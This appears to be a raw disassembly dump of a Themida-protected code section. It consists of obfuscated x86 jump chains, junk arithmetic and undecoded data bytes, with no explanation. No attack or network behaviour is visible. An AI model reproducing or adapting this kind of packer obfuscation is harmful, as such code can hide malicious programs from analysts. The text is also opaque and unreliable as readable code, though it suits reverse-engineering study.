shr eax, 0Bh
xor ecx, eax
push 6960h
jmp loc_55E0A7
; ---------------------------------------------------------------------------
db 1
dd 3EEE81EEh, 81574621h, 0FE4648C6h, 7E18E948h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5575CA: ; CODE XREF: Themida_:005575D8j
pop ebp
add edx, 6E3A21B0h
jmp loc_55D860
; ---------------------------------------------------------------------------
loc_5575D6: ; CODE XREF: Themida_:00558ECAj
add ebx, ebp
jmp loc_5575CA
; ---------------------------------------------------------------------------
loc_5575DD: ; CODE XREF: Themida_:005570CFj
inc ecx
jmp loc_55AC8B
; ---------------------------------------------------------------------------
db 0C1h
dd 0E0C104E0h, 947CE904h, 0C3880000h, 585BDE88h, 9B00E9h
dd 40500h, 0E8E90000h, 8100000Bh, 0D6B53FE9h, 59CD21AFh
dd 4EE9D5F7h
db 0Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_557613: ; CODE XREF: Themida_:005600CAj
inc eax
jmp loc_55B72D
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 89000000h, 7DBB241Ch, 290AA74Ah, 0C7895BD8h, 0FFB9C6E9h
dd 14335DFFh, 24143124h, 5C241433h, 89242C89h, 0E9EA89C5h
dd 13C7h
; ---------------------------------------------------------------------------
loc_557648: ; CODE XREF: Themida_:0055997Fj
mov ebx, esp
add ebx, 4
jmp loc_55DBCA
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 0E904C583h, 8EFh, 4C781h, 0FF570000h, 0FF042474h, 815F2434h
dd 4C4h, 24048F00h, 8B3BE9h, 1AB85000h, 0E9763C6Fh, 0D504h
dd 2FE9CB01h, 81000069h, 0C065B9E2h, 9BE28164h, 0E9764B03h
dd 0F2F3h, 5C243C87h, 1137BD55h, 34E95DA9h
db 6Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5576AF: ; CODE XREF: Themida_:00554948j
pop edi
xor eax, ebx
jmp loc_556E06
; ---------------------------------------------------------------------------
loc_5576B7: ; CODE XREF: Themida_:00565D88j
pop ebp
add eax, 4
xchg eax, [esp]
mov esp, [esp]
shr ecx, 7
jmp loc_564E92
; ---------------------------------------------------------------------------
loc_5576CB: ; CODE XREF: Themida_:00557F4Aj
add [esp+4], ebp
jmp loc_56098B
; ---------------------------------------------------------------------------
dd 33240431h, 0FF5C2404h, 41E92434h, 68FFFFC5h, 62542955h
dd 0CD5EE9h, 40F58100h, 811D9357h, 6F3DB4E5h, 0B2ED8169h
dd 81472728h, 69C613F5h, 5DEF01AAh, 0C7815D5Bh, 2, 31243C33h
dd 3C33243Ch, 0A4E95C24h, 530000D2h, 96E9EB88h, 81000075h
dd 4ECh, 240C8900h, 445568h, 0E0895000h, 48E9E9h, 241C2900h
dd 4EB815Bh, 0E9B510E0h, 741Dh, 8F240C89h, 34FF2447h, 0C4835924h
dd 68D23104h, 6EF5h, 54243489h, 0B8DFE95Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55776A: ; CODE XREF: Themida_:00565120j
push edi
mov edi, 2C953A1Fh
jmp loc_5536BD
; ---------------------------------------------------------------------------
db 31h, 0EEh, 5Dh
dd 55EF189h, 14CB7988h, 882DC829h, 5914CB79h, 5C240487h
dd 0E9241489h, 0A3DCh, 287FC381h, 7DE97EA9h, 4A00001Ah
dd 0FFB9EA81h, 0EB81FDFFh, 312E536Ah, 0C381D301h, 312E536Ah
dd 7BCD685Ah, 3C890000h, 98E0E924h, 0F65B0000h, 0F61124D0h
dd 2CC0FED0h, 0ECED80F0h, 119EE9h
db 0
; ---------------------------------------------------------------------------
loc_5577D5: ; CODE XREF: Themida_:0055A876j
sub ecx, 1
jmp loc_55759F
; ---------------------------------------------------------------------------
loc_5577E0: ; CODE XREF: Themida_:00563786j
xor ebp, 0FEC3F8E9h
add esi, ebp
pop ebp
shr esi, 6
jmp loc_56246B
; ---------------------------------------------------------------------------
db 0B6h, 0EEh, 80h
dd 885001EEh, 88D0F6F0h, 0CE8058C6h, 6E6C0F6h, 3265E9h
dd 81E58900h, 4C5h, 4C58300h, 2474FF55h, 48F5D04h, 3F685C24h
dd 89000072h, 4BF243Ch, 1000000h, 0BC5FE9F8h, 295A0000h
dd 6B3405F0h, 34FF1AADh, 24348B24h, 0E904C483h, 0B7BEh
dd 0F707E2C1h, 0EA814AD2h, 7731312Bh, 575AD101h, 4F5ECABFh
dd 20E91Ch, 6F2D0000h, 547C11Dh, 8CB911BDh, 28E9C289h
db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557873: ; CODE XREF: Themida_:00563824j
pop esp
add esp, 4
jmp loc_566DFD
; ---------------------------------------------------------------------------
aTsij db 'TéiJ',0
align 2
dw 0CF81h
dd 4CAC1AD6h, 0FA28E9h, 68E18900h, 783Dh, 0B8240489h, 336164EFh
dd 708BBE56h, 0E68171BFh, 752A6EEDh, 4EDEF74Eh, 10356E9h
dd 246C0100h, 5A1DE904h, 2C8B0000h, 4EC8324h, 89241C89h
dd 0B1E955E3h
db 62h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5578CB: ; CODE XREF: Themida_:00556DDAj
pop ecx
add esp, 4
push 3EDCh
jmp loc_552C5F
; ---------------------------------------------------------------------------
dd 0D324248Bh, 0E99C2424h, 0FFFFB350h, 8324048Bh, 4FE904C4h
dd 520000DCh, 0A76BA4BAh, 0ABE28149h, 0C1680305h, 0F28106EAh
dd 0E251813h, 15B85042h, 0E923155Ah, 9DC9h
; ---------------------------------------------------------------------------
loc_557914: ; CODE XREF: Themida_:00556673j
push ebx
not byte ptr [esp+1]
pop ebx
jmp loc_556AC3
; ---------------------------------------------------------------------------
db 89h
dd 48B241Ch, 4C48324h, 4EC8357h, 0B3ABE9h, 4896600h, 0B2FEE924h
dd 0CD81FFFFh, 15FA2610h, 0E5C1DDF7h, 6F58103h, 0E97DF46Ch
dd 0DE47h, 8106E1C1h, 9A2A14C1h, 0E9CD89E6h, 78D8h, 4C481h
dd 0C870000h, 24248B24h, 6203A5F3h, 0CA685538h, 5D521C48h
dd 8302E5C1h, 2C8904ECh, 241CF724h, 8B2434FFh, 0C481242Ch
dd 4, 4C481h, 0C5810000h, 48712328h, 657168h, 242C8900h
dd 4EC81h, 4890000h, 2BE5624h, 0C176DF0Fh, 814606E6h, 2A8283C6h
dd 5EF0895Ch, 4244429h, 8324048Bh, 428F04C4h, 8E95738h
dd 58FFFFE1h, 5E3C15Eh, 0FFDA23E9h, 72E956FFh, 310000AEh
dd 0C33240Ch, 0E9565C24h, 1FFDh, 66D6EE81h, 0EC816561h
dd 4, 0BF243C89h, 9A00E922h, 3C8BFE29h, 3CD5E924h, 51420000h
dd 0DE368h, 242C8900h, 0A16BD6BDh, 0FCCD812Ch, 0E95C9025h
dd 0AC44h, 240C8B66h, 693C6852h, 8F540000h, 4812404h, 424h
dd 0EC835A00h, 240C8904h, 2416E9h, 0FF565B00h, 8B042474h
dd 0C4812434h, 4, 8B24048Fh, 0F662424h, 9C2404ABh, 0FFB1CFE9h
dd 81E589FFh, 4C5h, 4ED8300h, 8B242C87h, 4892424h, 63BD5524h
dd 0F7622559h, 81DDF7DDh, 0DE1EDCEDh, 6DB2E97Dh, 0E9810000h
dd 0FFFFFFFFh, 899E981h, 1E90364h, 5DFFFFCFh, 0E4BEE950h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557AAA: ; CODE XREF: Themida_:0055543Dj
push dword ptr [esp+4]
pop edx
jmp loc_5661FC
; ---------------------------------------------------------------------------
dd 5B66712Ch, 0FFFABAE9h, 0D6F74EFFh, 0DEF74646h, 8309C681h
dd 0F201C87Eh, 4C2815Eh, 87000000h, 0E95C2414h, 9007h
dd 9F4428BDh, 81D5F71Bh, 0D54CE6EDh, 0C55AE97Ch, 5F68FFFFh
dd 583E181Ah, 0E8C1D8F7h, 0FCB02D03h, 0C189183Ch, 246C8158h
dd 0C4769204h, 244C0178h, 24448104h, 0C4769204h, 0EC24E978h
dd 0C4810000h, 4, 5207E0C1h, 0C14F29BAh, 0B31FE90Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_557B2E: ; CODE XREF: Themida_:0055E815j
xchg ebx, [esp]
mov esp, [esp]
jmp loc_55E773
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 0F7000000h, 45C781D7h, 89424A03h, 2434FFF9h, 723AE95Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_557B52: ; CODE XREF: Themida_:00560A0Ej
add ecx, edi
push dword ptr [ecx]
pop eax
push dword ptr [esp]
push dword ptr [esp]
pop ecx
push ebx
mov ebx, esp
jmp loc_561B0B
; ---------------------------------------------------------------------------
dw 0FE01h
dd 4B8505Fh, 29000000h, 348758C6h, 19E95C24h, 81FFFFF7h
dd 4C6h, 0E67AE900h, 0D328FFFFh, 5A07EB80h, 0C380C328h
dd 19B1519Ch, 0B353D9F6h, 63E9529Ch
db 58h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_557B9F: ; CODE XREF: Themida_:0056487Fj
mov ebx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
inc edx
add edx, 868AAA3Eh
push ebp
mov ebp, edx
jmp loc_561B59
; ---------------------------------------------------------------------------
loc_557BC2: ; CODE XREF: Themida_:00553BB0j
add esp, 4
push ebp
jmp loc_55D9A1
; ---------------------------------------------------------------------------
loc_557BCB: ; CODE XREF: Themida_:0055D552j
push edi
mov edi, 375E7F62h
shr edi, 6
push esi
jmp loc_553E15
; ---------------------------------------------------------------------------
dw 0B353h
dd 5EBC085h, 0ABC380h, 2623E9D8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_557BEA: ; CODE XREF: Themida_:0056040Cj
add ecx, edi
push edi
mov edi, 262169F6h
add ecx, edi
pop edi
pop edi
xor eax, ecx
jmp loc_55FCAE
; ---------------------------------------------------------------------------
loc_557BFD: ; CODE XREF: Themida_:00563511j
sub ebx, esi
jmp loc_557EB9
; ---------------------------------------------------------------------------
loc_557C04: ; CODE XREF: Themida_:00563202j
jmp loc_552C38
; ---------------------------------------------------------------------------
loc_557C09: ; CODE XREF: Themida_:0055AB06j
pop eax
and eax, 53314B0Dh
add eax, 0BCEEFEFDh
mov esi, eax
jmp loc_553BAD
; ---------------------------------------------------------------------------
db 0BAh
dd 21064769h, 61E9D389h, 8B00008Eh, 0C481242Ch, 4, 744F581h
dd 0F5814A3Ah, 0DA22C728h, 0E95DEA89h, 5B84h, 9D1C77FFh
dd 14D35966h, 0E5E99C24h, 5EFFFFAFh, 0C106EAC1h, 98E904EAh
dd 510000A8h, 0EA0019B5h, 4984E9h, 83C6FE00h, 0C8904ECh
dd 0F69AB524h, 6E5C0D5h, 0C0F0E580h, 526608EDh, 88EB8853h
dd 5FE8E9DAh, 0E9810000h, 559AD7A8h, 0E959CD31h, 0DC60h
; ---------------------------------------------------------------------------
loc_557C98: ; CODE XREF: Themida_:00561CF2j
mov ebp, 7E3A7622h
inc ebp
or ebp, 4A40558Fh
neg ebp
jmp loc_56408D
; ---------------------------------------------------------------------------
db 53h
dd 0FFB102E9h, 0E9E189FFh, 0AB4Ah, 2404205Ch, 0AF76E99Ch
dd 248BFFFFh, 70176824h, 14890000h, 4EC8124h, 89000000h
dd 0C8682434h, 5E39E669h, 0EC81D6F7h, 4, 0B9240C89h, 0C6199737h
dd 8959CE31h, 2434FFF2h, 0B521E9h, 2EF8100h, 8B74DD6Ch
dd 1CE9242Ch, 5F0000CDh, 8324048Bh, 0EC3504C4h, 5A2B4A27h
dd 0BD55D0F7h, 0DAEE2211h, 0E95DE801h, 150Ah, 81241C8Bh
dd 4C4h, 4C48300h, 573FEF81h, 0C701603Bh, 573FC781h, 48B603Bh
dd 4C48324h, 8702C783h, 248B243Ch, 0BE0F6624h, 0E1E9C8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_557D56: ; CODE XREF: Themida_:0055A943j
sub eax, 5A235499h
mov ecx, [esp]
sub esp, 4
jmp loc_55B198
; ---------------------------------------------------------------------------
dw 13BEh
dd 4E7CD602h, 485CB951h, 0D1F71B0Bh, 4F60E9h, 241C8900h
dd 0EB80C2B3h, 56E3D046h, 0F7E9E689h, 5A0000E6h, 6B1368h
dd 241C8900h, 7868E9h, 4EC8100h, 89000000h, 4832424h, 515D0424h
dd 4B9h, 0D1ED8100h, 0E910A745h, 552Ch, 8324148Bh, 55804C4h
dd 4, 0FFE17EE9h, 5EC581FFh, 0E96AD810h, 0FFFFDE32h, 0EC81E389h
dd 4, 97D9E9h, 24148900h, 2BAh, 5AD50100h, 2CDDE9h, 24343300h
dd 4FF665Ch, 39E99C24h, 81FFFFAEh, 4ECh, 24048900h, 88DA8852h
dd 8BE95AD4h, 81FFFFD2h, 97787C3h, 240C8B2Ch, 4C481h, 0C3810000h
dd 648E2B2Dh, 0FFB985E9h, 42DFFh, 8CE90000h
db 15h, 2 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push 4AE50D32h
pop ecx
shr ecx, 2
shr ecx, 1
push ecx
not dword ptr [esp]
pop ecx
shr ecx, 2
shl ecx, 5
push esi
jmp loc_564BCD
; ---------------------------------------------------------------------------
loc_557E57: ; CODE XREF: Themida_:0056509Bj
inc edx
jmp loc_5639B8
; ---------------------------------------------------------------------------
db 80h, 0C5h, 0ECh
dd 5724048Bh, 243C8B54h, 2578E9h, 80B4B200h, 0B45033CAh
dd 66CCFE8Eh, 0F6E68852h, 66F488DEh, 80C4FE5Ah, 0C480B5F4h
dd 38F480D9h, 0C9AAE9h, 4EC8100h, 89000000h, 0E068243Ch
dd 0E94BCB21h, 0F581h
; ---------------------------------------------------------------------------
loc_557EA4: ; CODE XREF: Themida_:0055C64Bj
pop eax
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
jmp loc_564EF3
; ---------------------------------------------------------------------------
loc_557EB9: ; CODE XREF: Themida_:00557BFFj
sub ebx, 4A396F66h
jmp loc_561CDD
; ---------------------------------------------------------------------------
aSs3y db 'Sé3y',0
align 2
dw 0D366h
dd 0E99C2404h, 9198h, 4D66ED81h, 0ED8159B3h, 59A20EB1h
dd 3AFEED81h, 0F75547A7h, 2C8B241Ch, 4C48124h, 81000000h
dd 0D46BADF5h, 0D611E99Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557EFE: ; CODE XREF: Themida_:0055314Cj
pop ebp
inc ebp
and ebp, 269D6280h
add ebp, 7F1DA461h
jmp loc_55A12C
; ---------------------------------------------------------------------------
db 89h, 0F9h, 0E9h
dd 37A1h, 0E95AD129h, 0FFFFF5EDh, 244C295Dh, 685B5904h
dd 31A6h, 0B9240C89h, 33850DFAh, 0D3F4E981h, 0CB0123E9h
dd 0E9240C8Bh, 0FFFFE9CBh
; ---------------------------------------------------------------------------
loc_557F44: ; CODE XREF: Themida_:0055D73Dj
push 5E257C2Fh
pop ebp
jmp loc_5576CB
; ---------------------------------------------------------------------------
aZPg@swISZ db '‡,$\G@SW¿Ïi`#é\§',0
align 2
dw 34FFh
dd 0EC815824h, 4, 54240489h, 40558h, 0B9510000h, 4, 98CBD55h
dd 0E6E96A81h, 0FF0000C5h, 0C8B2434h, 4C48124h, 68000000h
dd 28F5h, 1180E9h, 58C23100h, 55242C8Bh, 0EC815D54h, 4
dd 0B9240C89h, 4, 8359CD01h, 76E904C5h
db 82h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_557FBF: ; CODE XREF: Themida_:005669BDj
add ebp, 4
jmp loc_555BF7
; ---------------------------------------------------------------------------
db 50h
dd 8134B4B0h, 0C188DC34h, 2CC18058h, 0FFE0A1E9h, 0B6E95BFFh
dd 96000012h, 9714742Dh, 982A2D48h, 0C5090408h, 0DDF74558h
dd 0EDC1D5F7h, 98ED8107h, 29F7E6ECh, 38685DE8h, 89000006h
dd 0EC83242Ch, 4576E904h, 565D0000h, 3B769BBEh, 81DEF765h
dd 9E081ACEh, 0BBC68158h, 2943FBA5h, 5DE95EF3h, 57FFFFF6h
dd 4BFh, 8BFB0100h, 0C483243Ch, 4EC8104h, 89000000h, 79E9243Ch
dd 52FFFFC9h, 88E18851h, 10C0E9CEh, 0E95F0000h, 0F43Bh
; ---------------------------------------------------------------------------
loc_558058: ; CODE XREF: Themida_:005649B2j
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
loc_55806A: ; CODE XREF: Themida_:00562739j
sub esp, 4
mov [esp], ebx
push dword ptr [esp]
pop eax
push 2793h
mov [esp], ebp
mov ebp, esp
push esi
mov esi, 24615793h
add esi, 519D0598h
shr esi, 2
xor esi, 1D7F974Eh
push edx
mov edx, 6FA71BDCh
and edx, 3D110E1h
xor edx, 1B9D7099h
jmp loc_55701B
; ---------------------------------------------------------------------------
loc_5580AD: ; CODE XREF: Themida_:00552C5Aj
push eax
mov eax, 0FF41FAFh
dec eax
xor eax, 76403C73h
sub eax, 109D05B8h
jmp loc_55B7A8
; ---------------------------------------------------------------------------
db 58h
dd 0FFF02858h, 148B2434h, 4C48324h, 8004C483h, 535029EBh
dd 0BD45E952h, 0F3010000h, 7C99C381h, 895E733Fh, 6C815BD8h
dd 2D2D0424h, 4AE93F82h
db 0EEh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5580F7: ; CODE XREF: Themida_:0055CC37j
push dword ptr [esp]
jmp loc_565554
; ---------------------------------------------------------------------------
loc_5580FF: ; CODE XREF: Themida_:0056564Cj
pop esp
mov [esp], edx
push ebx
jmp loc_55703A
; ---------------------------------------------------------------------------
db 0F7h, 0D1h, 0E9h
dd 7EE0h
; ---------------------------------------------------------------------------
loc_558110: ; CODE XREF: Themida_:0055E351j
push ecx
push edi
jmp loc_562417
; ---------------------------------------------------------------------------
db 8Fh
dd 248B2404h, 0AB0F6624h, 0E99C2404h, 0FFFFB2A7h, 1CE9D8F7h
db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55812F: ; CODE XREF: Themida_:005598F9j
sub ebx, 1
xor ebx, 28CE665Fh
push ebx
jmp loc_56557C
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 4C481h, 89510000h, 4C181E1h, 83000000h, 0C8704E9h, 20DBE924h
dd 89510000h, 4C181E1h, 0E9000000h, 0A5DEh, 7530E6B9h
dd 0A5C98175h, 491B6349h, 0C181D1F7h, 97FEE32Eh, 0C8BCA89h
dd 4C48124h, 0E9000000h, 767Fh
; ---------------------------------------------------------------------------
loc_558190: ; CODE XREF: Themida_:00554544j
sub ebp, 0FDAC280Bh
add edx, ebp
pop ebp
xor ecx, edx
pop edx
add eax, ecx
pop ecx
sub esp, 4
mov [esp], ecx
mov ecx, 6B8E34DCh
jmp loc_558433
; ---------------------------------------------------------------------------
loc_5581B2: ; CODE XREF: Themida_:00561A77j
pop esp
jmp loc_5541B5
; ---------------------------------------------------------------------------
dd 8904EC83h, 2BE9240Ch, 5900006Fh, 68AEBB53h, 0E9E94009h
dd 68000031h, 54EA763Eh, 0C1DAF75Ah, 0B0E906E2h
db 95h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5581DF: ; CODE XREF: Themida_:00554DC6j
mov esi, [esp]
add esp, 4
push ebx
jmp loc_56815C
; ---------------------------------------------------------------------------
db 87h
dd 36E92404h, 89000044h, 4C781E7h, 81000000h, 4EFh, 243C3300h
dd 0E9243C31h, 0D350h, 4DE95750h, 6800000Ah, 201Eh, 0B1240C89h
dd 66D9F689h, 802AB652h, 0F128FAC1h, 66FAE980h, 0B753665Ah
dd 0F10CE932h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_558236: ; CODE XREF: Themida_:0056363Cj
mov [esp], edx
push dword ptr [esp]
pop eax
push edx
mov edx, esp
add edx, 4
push eax
jmp loc_567D19
; ---------------------------------------------------------------------------
dd 0D7F7DFF7h, 17FDBB53h, 0D1E9AA3Eh
db 0CBh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55825B: ; CODE XREF: Themida_:0056473Cj
add bl, 6Dh
sub bl, dh
push dx
jmp loc_5670C2
; ---------------------------------------------------------------------------
db 0FFh
a4Sfw db '4$é”w',0
dw 5B00h
dd 0C105EFC1h, 0E95108EFh, 0A7EBh, 703249B8h, 0CF99056Eh
dd 0F6E9FA8Ah, 5B000083h, 0E137E95Ah, 0E95B0000h, 0FFFFFD93h
; ---------------------------------------------------------------------------
loc_558298: ; CODE XREF: Themida_:00559FBDj
add ebx, esi
pop esi
sub esp, 4
mov [esp], esi
mov esi, 4
jmp loc_566AF4
; ---------------------------------------------------------------------------
aYuw db '^)ÎYUW¿Ó',0
dd 0D7F7251Ah, 7E3FE9h, 2434FF00h, 0FFDB44E9h, 5FFA89FFh
dd 0DEBF5752h, 0E91BA724h, 8973h, 4C4815Bh, 33000000h
dd 4312404h, 24043324h, 6624248Bh, 5724148Bh, 1D685F54h
dd 89000007h, 0E3E92434h, 0F700007Bh, 0F83540D8h, 1B008C3h
dd 24048BC6h, 4C481h, 0EAE90000h, 0C00000A1h, 73E903EFh
db 9Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55831B: ; CODE XREF: Themida_:00554133j
and eax, 4E1D15AAh
neg eax
push 49A6h
mov [esp], esi
push 2DDDh
mov [esp], edx
jmp loc_560778
; ---------------------------------------------------------------------------
loc_558337: ; CODE XREF: Themida_:0055CF19j
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
add esp, 4
or eax, eax
jz loc_56416B
push esi
jmp loc_565477
; ---------------------------------------------------------------------------
aFbaaasP db 'fíí€éÒP',0
dd 81E58100h, 0E90BD92Dh, 0FFFFC92Ah, 66243489h, 663B3ABEh
dd 10BE681h, 0A3F8E9h, 8734FF00h, 0FFA8B3E9h, 244401FFh
dd 835F5804h, 2C8904ECh, 4BD24h, 74E90000h, 31000013h
dd 1C33241Ch, 2978E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5583A6: ; CODE XREF: Themida_:005623D6j
push edi
mov edi, 4
sub esi, edi
mov edi, [esp]
add esp, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
jmp loc_5612F8
; ---------------------------------------------------------------------------
aMIs db '¿¶m´iéܶ',0
dd 22B85000h, 0E958CD62h, 0B066h, 33242C31h, 248B242Ch
dd 4896624h, 0A84EE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5583EA: ; CODE XREF: Themida_:005647C6j
mov [esp], edi
jmp loc_55E623
; ---------------------------------------------------------------------------
dw 0EA81h
dd 254E5857h, 2DE9CA01h, 8100002Bh, 4C4h, 81D1F600h, 4ECh
dd 241C8900h, 0FC88CF88h, 71E9595Bh, 81FFFFADh, 0D0B64AF1h
dd 8BC88980h, 0C481240Ch, 4, 14E9C601h
db 80h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_558433: ; CODE XREF: Themida_:005581ADj
sub ecx, 0FFFFFFFFh
push edx
sub esp, 4
jmp loc_564917
; ---------------------------------------------------------------------------
dw 0E952h
dd 0FFFFFA25h, 4C481h, 68660000h, 89664225h, 89522414h
dd 4C281E2h, 81000000h, 4EAh, 24148700h, 0AD37E9h
db 0
; ---------------------------------------------------------------------------
loc_55846D: ; CODE XREF: Themida_:00567B84j
mov al, 6Eh
jmp loc_55B432
; ---------------------------------------------------------------------------
loc_558474: ; CODE XREF: Themida_:005660B9j
add edx, esi
add edx, 3E2E4442h
jmp loc_561AFD
; ---------------------------------------------------------------------------
db 87h, 0Ch, 24h
dd 0CD3665Ch, 0A9E99C24h
db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55848F: ; CODE XREF: Themida_:0055B68Fj
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_55C99E
; ---------------------------------------------------------------------------
dw 489h
dd 402AB824h, 2E3535CDh, 8135CD40h, 774129EBh, 15ABE944h
dd 0E2810000h, 63EA6269h, 0FFDED9E9h, 5EF501FFh, 0E95DEB31h
dd 76A2h, 6852E689h, 147Eh, 0BF243C89h, 5ED22D86h, 8102EFC1h
dd 3442E0EFh, 0D7F74733h, 0B779EF81h, 0FA891B7Fh, 5AD6015Fh
dd 0FFD1B8E9h, 8AB951FFh, 81110F61h, 9E10B5E9h, 0BBBB5364h
dd 815E4C1Ah, 0A76705EBh, 0F7D3F72Bh, 81E3D1D3h, 18A3BFEBh
dd 5BD901EDh, 1535EB81h, 0CB292ECEh, 0F71DE9h, 6757B900h
dd 0E9C16966h, 0AC18108h, 502F1108h, 717BF3B8h, 573E2D0Ah
dd 0C131B996h, 4CE18158h, 0E91C6D1Ch, 6B08h, 6F6F7ABEh
dd 5EF73177h, 1DEAEB81h, 0FB0141D1h, 4EC81h, 4890000h
dd 1DEAB824h, 0C30141D1h, 36CAE9h, 2414F700h, 0FFEF835Fh
dd 0E95F5057h, 1908h
; ---------------------------------------------------------------------------
loc_558590: ; CODE XREF: Themida_:005555CDj
mov [esp], edi
pop ecx
mov edi, [esp]
jmp loc_5627E6
; ---------------------------------------------------------------------------
dd 8BC2015Bh, 89572404h, 4C781E7h, 81000000h, 4C7h, 243C8700h
dd 8724248Bh, 0D0E92414h, 81000048h, 2C424ACDh, 0EBFDE955h
dd 59580000h, 0DAE9F828h, 66FFFFD5h, 0A868F1F7h, 89000035h
dd 5B54241Ch, 4C381h, 0EB830000h, 14326802h, 21E90000h
dd 660000CDh, 81240C8Bh, 4ECh, 24048900h, 261E9h
db 0
; ---------------------------------------------------------------------------
loc_558605: ; CODE XREF: Themida_:0055615Fj
mov [esp], edx
mov edx, 66163542h
or ebx, edx
pop edx
xor ebx, 8F4595Eh
and esi, ebx
pop ebx
inc esi
push edi
mov edi, 6E2D0C84h
shl edi, 2
neg edi
jmp loc_55505B
; ---------------------------------------------------------------------------
dw 48Bh
dd 4C48124h, 66000000h, 303EB353h, 885B66D8h, 24048BC6h
dd 4C481h, 0F6800000h, 759CE92Ah, 0EA810000h, 0EA5B2CF1h
dd 815AD189h, 6C5D9EE1h, 0B7B3E970h, 0EBC00000h, 0EDF38003h
dd 0FFDBC9E9h, 24248BFFh, 0FA62E9h, 24D25C00h, 0B9E99C24h
dd 81FFFFA5h, 39BA11F2h, 5AD0296Ch, 0F709E957h, 0E9520000h
dd 0FFFFFB3Bh, 2070EB81h, 0EB010BAFh, 2070C381h, 565D0BAFh
dd 396689BEh, 0E7E1E93Eh, 24680000h, 0E9000037h, 0B5ACh
dd 3EC5815Dh, 55B5C235h, 2E6EBB53h, 5C293BF6h, 5E5B0424h
dd 7081E9h
db 0
; ---------------------------------------------------------------------------
loc_5586D1: ; CODE XREF: Themida_:00556AF4j
movzx cx, ah
push 1463h
mov [esp], ebx
push esp
push dword ptr [esp]
pop ebx
push edx
mov edx, esp
jmp loc_55B9B4
; ---------------------------------------------------------------------------
dw 6866h
dd 34280000h, 51A9E924h, 14330000h, 24143124h, 8B241433h
dd 31662424h, 33662404h, 31662404h, 25E92404h, 54FFFFA5h
dd 8FBA525Dh, 835C3257h, 0C8904ECh, 4D9DB924h, 64E95B56h
dd 500000A1h, 7E096AB8h, 0E9D8F722h, 4504h, 2985ED81h
dd 0F5014E44h, 2985C581h, 348B4E44h, 27026824h, 1C890000h
dd 55E38924h, 8B5771BDh, 30ED8132h, 81737E2Eh, 0D2945F5h
dd 5DEB01BFh, 8704C383h, 41E9241Ch, 8100001Fh, 4C4h, 4C48300h
dd 0EFA68h, 24148900h, 48304068h, 0E2C15A49h, 42D3E903h
dd 28F0000h, 0FFA49FE9h, 21E02DFFh, 0E9504BCBh, 0CF6Dh
dd 4244429h, 5ED6E9h, 55F58100h, 8196F1D6h, 4ECh, 24348900h
dd 71117FBEh, 0E9F7295Ah, 32AEh, 0F280C2FEh, 0E9D10048h
dd 4453h
; ---------------------------------------------------------------------------
loc_5587D4: ; CODE XREF: Themida_:0055CC9Cj
xor edi, eax
pop eax
jmp loc_55A5CC
; ---------------------------------------------------------------------------
loc_5587DC: ; CODE XREF: Themida_:00564BF1j
add edi, 4
push 2D7Ah
mov [esp], ebx
mov ebx, 661A5F53h
inc ebx
xor ebx, 661A5F50h
sub edi, ebx
mov ebx, [esp]
add esp, 4
push edi
push dword ptr [esp+4]
jmp loc_5651A5
; ---------------------------------------------------------------------------
dd 1549A4BDh, 246C3154h, 242C8B04h, 5E04C483h, 49A4F681h
dd 62E95415h
db 3, 2 dup(0)
; ---------------------------------------------------------------------------
loc_558823: ; CODE XREF: Themida_:005675F0j
mov [esp], edx
push esp
pop edx
sub esp, 4
mov [esp], eax
sub esp, 4
mov [esp], edx
mov edx, 42794B16h
mov eax, 9BDFD6Dh
add eax, edx
mov edx, [esp]
add esp, 4
push esi
mov esi, 7300059Bh
and esi, 56357FF8h
shr esi, 6
push ebp
mov ebp, 1C493AF9h
add ebp, 0A20E7A43h
jmp loc_55EC93
; ---------------------------------------------------------------------------
dw 0EC83h
dd 4E896804h, 7EE90000h, 6600005Ch, 0E9240489h, 0FFFFA3BCh
dd 0DBBD5559h, 299715A5h, 0B8505DE9h, 63A91421h, 505E8C1h
dd 26A31C32h, 4CC6E9h, 0F75E5900h, 4EC81D6h, 89000000h
dd 4FF2434h, 0F1315E24h, 0E979E9h, 4C48100h, 0E9000000h
dd 3D0Fh, 2958C581h, 0CD81463Bh, 62AF1480h, 357C581h, 0EE011040h
dd 0A768575Dh, 8900003Dh, 84BA2414h, 0BF46EC0Ch, 46EC0C88h
dd 15AD729h, 0D3EE9FEh, 5A040000h, 5A2CE828h, 49E91704h
dd 0BB0000D3h, 54CB5822h, 2CE0E9h, 0F9EB8100h, 3193AC53h
dd 241C8BD8h, 0E9E08950h, 5DD1h
; ---------------------------------------------------------------------------
